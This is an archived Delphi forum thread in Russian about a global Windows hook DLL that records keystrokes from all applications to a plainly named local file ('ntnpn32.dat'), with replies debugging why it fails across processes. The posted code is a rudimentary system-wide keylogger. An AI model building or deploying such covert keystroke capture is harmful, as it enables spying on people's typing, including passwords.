Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.02.20;
Скачать: CL | DM;

Вниз

Проблемы с SetWindowHookEx   Найти похожие ветки 

 
KASioZ   (2005-01-02 11:09) [0]

Здравствуйте ув. программисты
У меня следующая проблема:
Я устанавливаю глобальную ловушку в системе.
В глобальной ловушке я ловлю все сообщения сис-мы, проверяю сообщение, если сообщение WM_KeyDown, то сохраняем в локальный файл нажатые клавиши.
Почему то моя программа сохраняет данные только в случае если моё приложение активно! Хотя хук глобальный и клавиши передаются в обработчик событий!
Это я проверяю ShowMessage, работает всегда.
Вот код DLL:

library myhookdll;

uses
 SysUtils,
 Windows,
 Dialogs,
 Messages;

var
 HookHandle: HHOOK = 0;
 F: File;

{$R *.res}

function KeyHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
var
buff: array [1..100] of char;
begin
if TMsg(Pointer(lParam)^).message = WM_KeyDown then
       begin
       GetKeyNameText(TMsg(Pointer(lParam)^).lParam, @buff, SizeOf(buff));
       BlockWrite(F,buff,1);
       ShowMessage(StrPas(@buff));
       end;
result:=CallNextHookEx(HookHandle,code,wParam,lparam);
end;

procedure SetKeyHook; export; stdcall;
begin
AssignFile(f,"ntnpn32.dat");
if FileExists("ntnpn32.dat") then Reset(F,1)
else Rewrite(F,1);
if HookHandle = 0 then HookHandle:=SetWindowsHookEx(WH_GETMESSAGE,@KeyHook,hInstance, 0);
end;

procedure UnSetKeyHook; export; stdcall;
begin
CloseFile(F);
if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
HookHandle:=0;
end;

exports

SetKeyHook name "SetKeyHook",
UnSetKeyHook name "UnSetKeyHook";

begin
end.

Вот код загрузчика:

procedure TForm1.FormCreate(Sender: TObject);
begin
SetKeyHook;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnSetKeyHook;
end;


 
Vaitek ©   (2005-01-02 12:31) [1]

Не знаю, у меня такой работал.

library Key;

uses
 WinTypes,
 WinProcs,
 Messages,
 SysUtils,
 Classes;

const
KeyEvent = WM_USER + 1;

var
HookHandle: hHook;
wnd: hWnd;

{$R *.res}

function KeyHook(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
begin
 if Code >= 0 then
 begin
   wnd := FindWindow("TSVMain", nil);
   SendMessage(wnd, KeyEvent, wParam, lParam);
   Result := 0;
 end else
   Result := CallNextHookEx(HookHandle, code, WParam, LParam);
end;

procedure SetKeyHook;
begin
 HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0);
end;

procedure DelKeyHook;
begin
 if HookHandle <> 0 then
   UnhookWindowsHookEx(HookHandle);
end;

exports
 SetKeyHook index 1,
 DelKeyHook index 3;

Begin
end.

А в главном окне программы обрабатывал

procedure WM_NextMSG(var Msg: TMessage); message KeyEvent;


 
Piter ©   (2005-01-02 13:25) [2]

перед тем как разбираться с хуками, весьма желательно изучить более простые вещи - например, что такое ВАП и все с ним связанное.

Что касается хуков - есть статья на это сайте по хукам.


 
Piter ©   (2005-01-02 13:27) [3]

Vaitek ©   (02.01.05 12:31) [1]

зачем выкладывать какой-то код, если ты в этом коде ни фига не разбираешься и только можешь подать плохой пример?


 
Vaitek ©   (2005-01-02 13:47) [4]

Почему плохой пример?
Во-первых он списан со статьи на этом сайте.
Во-вторых он работает. Могу прислать прогу, если интересно, целиком.
Ну а в третьих, что такое ВАП? Случаем не winapi?


 
KASioZ   (2005-01-02 15:00) [5]

Во первых код не списан
Во вторых я понимаю абсолютно каждую строчку
А в третьих лучше помогите разобратся с проблемой
а кто сможет замыльте рабочие сырцы на fakom@Mail.ru


 
VMcL ©   (2005-01-02 15:07) [6]

>>KASioZ  (02.01.05 11:09)

>Проблемы с SetWindowHookEx

Нет такой функции в WinAPI. Есть SetWindowsHookEx.

По поводу вопроса, смотрите, как и порекомендовал Piter, статью:
http://www.delphimaster.ru/articles/hooks/index.html

>>Vaitek ©  (02.01.05 13:47) [4]

>Почему плохой пример?

Потому что неправильный.

>Во-первых он списан со статьи на этом сайте.

Верно. Из примера, взятого из example.zip::Example1\hook_dll1.dpr, где в заголовке написано:
// Demo of wrong hook - DLL module //
К тому же ясно, что статью Вы не читали, потому что в ней об этом написано:
>Думаю, теперь, разобравшись в исходных кодах библиотек из первого примера, вы поняли, как НЕ надо писать DLL, из которых вы устанавливаете глобальные ловушки.

>Во-вторых он работает.

Смотря на какой версии Windows.


 
VMcL ©   (2005-01-02 15:09) [7]

>>Vaitek ©  (02.01.05 13:47) [4]

P.S.
>Ну а в третьих, что такое ВАП? Случаем не winapi?

Случаем не winapi. А случаем, Виртуальное адресное пространство.


 
Vaitek ©   (2005-01-02 15:39) [8]

Ну ладно, ладно, где моя походная лопата, пора выкапываться из асфальта. На 2003 винде работает, на ХР тоже.

С замечанием согласен, хотя, как выяснилось, пример я взял не из статьи, а тот что мне вот так же написали на форуме. Давно это было, подзабыл. Так что сорри, за не совсем корекктный пример.


 
KASioZ   (2005-01-02 17:01) [9]

Эту статью я тоже читал!
Но где ошибка ?
Ведь всё делается верно!
ShowMessage(); возращает нормальный результат
а вот в файл почему то не пишет
как будто переменная пуста
А надо чтобы работало под платформой WinNT (NT, 2K, XP, 2K3).
И причем сдесь адресное пространство ?
Ловушка то глобальная


 
Vaitek ©   (2005-01-02 17:23) [10]

Там глючокс, когда две копии проги сапускаешь. Я об этом как-то не подумал.


 
Piter ©   (2005-01-02 17:28) [11]

KASioZ   (02.01.05 17:01) [9]
Эту статью я тоже читал!


это ты моим тапочкам рассказывать будешь, что ЧИТАЛ (а не просматривал) статью.

Ну ясен пень, супер хакеры не смотрят на всякие там диаграммы и рисунки, и параграфы пояснительные к этим диаграммам не читают - нафиг надо? Там что-то сложновато читать, термины непонятные... Лучше просто не читать это место, а потом на форуме кричать "почему не работает?!"


 
Piter ©   (2005-01-02 17:30) [12]

Vaitek ©   (02.01.05 17:23) [10]
Там глючокс, когда две копии проги сапускаешь


там "глючокс" не только в этом


 
KASioZ   (2005-01-03 18:01) [13]

А моим тапочкам ты будешь рассказывать
Что там есть причина неработоспособности DLL
И если ты такой читалец статей, то лучше помог бы!
Я на форумах не просто треплюсь а помогаю по возможности!
Vaitek а что за глюк ?
Когда 2 копии пускаешь ?
Хммм да мне и не нужно 2 копии пускать
и пускаться они не будут


 
Piter ©   (2005-01-03 18:47) [14]

поразительно как люди готовы целыми днями выпрашивать ответ в форуме, а в тоже время заглянуть в статью и за полчаса разобраться не хотят...


 
Vaitek ©   (2005-01-03 20:34) [15]

Не стоит думать обо всех в серых тонах. Я в статью заглянул, сравнил код со своим, понял что ошибался, но разбираться мне влом, поскольку сейчас мне это совершенно не интересно.


 
Davinchi ©   (2005-01-03 20:57) [16]

Тя пракильно уже направляли, у меня была подобная проблема - все дело в адресном пространстве, которое занимает твоя ДЛЛ когда ты ее загружаешь, те нужен объект файлового отображения и лучше храни дескриптер полученый от SetWindowsHookEx....
Перечитай статью именно на этом моменте....


 
kaZaNoVa ©   (2005-01-03 21:55) [17]

Davinchi ©   (03.01.05 20:57) [16]

> лучше храни дескриптер полученый от SetWindowsHookEx

ЛЮДИ, не парьтесь - указано же Win2k, WinXP - 0 надо ставить:))))


 
GuAV ©   (2005-01-03 22:19) [18]

kaZaNoVa ©   (03.01.05 21:55) [17]
ЛЮДИ, не парьтесь - указано же Win2k, WinXP - 0 надо ставить:))))


а в MSDN это написано ?


 
kaZaNoVa ©   (2005-01-03 22:21) [19]

GuAV ©   (03.01.05 22:19) [18]
ага, имхо можно 0 передавать в виндах 2000 и выше :)))


 
GuAV ©   (2005-01-03 22:40) [20]

Да, уже вижу
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookre ference/hookfunctions/callnexthookex.asp
Первый параметр Ignored. Но ведь в 9х не Ignored !


 
kaZaNoVa ©   (2005-01-03 22:43) [21]

GuAV ©   (03.01.05 22:40) [20]
забей на 9х =)


 
Eraser ©   (2005-01-03 23:44) [22]

Absolutly correct )))



Страницы: 1 вся ветка

Текущий архив: 2005.02.20;
Скачать: CL | DM;

Наверх




Память: 0.53 MB
Время: 0.062 c
1-1107433666
mikeee
2005-02-03 15:27
2005.02.20
можноли работать с текстовым файлом как с Tstrings?


4-1105186547
BVV
2005-01-08 15:15
2005.02.20
TerminateProcess


3-1106640830
Koala
2005-01-25 11:13
2005.02.20
Помогите разобратся....


3-1106415836
Mortal
2005-01-22 20:43
2005.02.20
Вопрос про Rave Reports


6-1102328427
integer
2004-12-06 13:20
2005.02.20
нужно управлять приложениєм через Web